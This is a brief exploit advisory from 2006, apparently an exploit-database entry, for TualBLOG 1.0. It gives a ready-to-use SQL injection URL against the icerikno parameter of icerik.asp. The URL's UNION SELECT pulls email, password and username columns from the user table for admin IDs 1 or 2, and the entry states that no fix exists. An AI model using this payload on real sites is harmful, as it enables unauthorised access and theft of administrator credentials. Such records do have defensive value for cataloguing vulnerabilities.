TualBLOG 1.0 (icerikno) Remote SQL Injection Vulnerability

2006-09-13 00:00:00

# BiyoSecurity.Org
# script name : TualBLOG v 1.0
# Risk : High
# Regards : Dj ReMix
# Thanks : Korsan , Liz0zim
# Vulnerable file : icerik.asp

exp :
http://site.com/[path]/icerik.asp?icerikno=-1%20union+select+mail,sifre,uyeadi+from+tbl_uye+where+uyeno=1

uyeno = 1 or 2( Admin ID )

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.